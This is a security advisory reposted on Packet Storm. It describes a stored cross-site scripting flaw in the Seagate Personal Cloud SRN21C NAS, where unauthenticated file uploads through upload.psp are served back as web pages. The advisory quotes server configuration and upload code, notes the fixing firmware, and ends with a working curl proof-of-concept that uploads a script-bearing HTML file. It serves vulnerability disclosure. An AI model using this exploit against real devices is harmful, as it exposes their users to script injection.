what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Seagate Media Server SRN21C Cross Site Scripting

Seagate Media Server SRN21C Cross Site Scripting
Posted Apr 19, 2018
Authored by Yorick Koster

Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0 suffers from a persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | e781553767030bf98f0d576bce042a246fa79981a84c0cfb754a87a6669dfce7

Seagate Media Server SRN21C Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Seagate Media Server stored Cross-Site Scripting vulnerability
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). By default Seagate Media Server allows unauthenticated
users to upload files to a public share. Once a file is uploaded it can
also be downloaded again from the NAS.

No restrictions are enforced on which file types a user can upload, any
type of file can be uploaded including executable files & HTML files.
File downloads are directly handled by Lighttpd and because of this file
are processed based on its (MIME) type. An attacker can upload an HTML
file and cause Lighttpd to treat the file as a regular web page.
Consequently, uploading an HTML file can be used to execute a stored
Cross-Site Scripting attack.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware versions 4.3.16.0 and 4.3.18.0. It is likely that other
devices/models are also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This vulnerability has been fixed in firmware version 4.3.18.4.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-media-server-stored-cross-site-scripting-vulnerability.html

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. Seagate Media Server contains an endpoint named upload.psp that allows unauthenticated users to upload arbitrary files to a public share. No restrictions are enforced on which file types a user can upload, any type of file can be uploaded including executable files & HTML files.

/usr/lib/python2.7/site-packages/sms/modules/FileOperations/file_operations.py:

@csrf_exempt
def upload( request ):
logDebug('Processing upload request')
response = {'stat': 'failed', 'code': '77', 'message': 'Something went wrong.'}
if checkDBSQLite( ):
response['code'] = '80'
response['message'] = "The Database has not been initialized or mounted yet!"
logDebug('Upload handler called but Database has not been initialized or mounted yet!')
return create_upload_response(json.dumps(response), request)
try:
logDebug('Processing request with UploadRequestHandler')
return UploadRequestHandler.UploadRequestHandler( request ).process( )
except UploadRequestHandler.UploadRequestHandlerException as e:
response['code'] = str(e.code)
response['message'] = e.message
logException('Exception processing UploadRequestHandlerException upload request')
return create_upload_response(json.dumps(response), request)
except:
logException('Exception processing upload request')



Files are stored within the /media/sms-data/Public/ folder on the NAS. This folder is exposed in the Lighthttp configuration and are thus directly accessible through a web browser.

/etc/lighttpd/conf.d/sms.conf:

$HTTP["url"] =~ "^"+"/media/sms-data" {
server.document-root = "/"
server.follow-symlink="disable"
}

When the user browses to the uploaded file, the file will be processed based on its (MIME) type. An attacker can upload an HTML file and cause Lighttpd to treat the file as a regular web page. Consequently, uploading an HTML file can be used to execute a stored Cross-Site Scripting attack. Once uploaded the file can be used to execute a Cross-Site Scripting attack by tricking an (authenticated) user into visiting the uploaded file in their browser.
Proof of concept

First upload an HTML file containing an HTML payload, this can be done using the following curl command:

curl -i -s -k -X $'POST' \
-H $'Content-Type: multipart/form-data; boundary=---------------------------75230038716763744201986911947' \
--data-binary $'-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"xss.html\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0a<script>alert(\'xss\');</script>\x0a\x0d\x0a-----------------------------75230038716763744201986911947\x0d\x0aContent-Disposition: form-data; name=\"force_flag\"\x0d\x0a\x0d\x0atrue\x0d\x0a\x0d\x0a-----------------------------75230038716763744201986911947--\x0d\x0a' \
$'http://personalcloud.local/upload.psp'

After running the curl command the HTML file can be viewed via the following URL:
http://personalcloud.local/media/sms-data/Public/xss.html
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close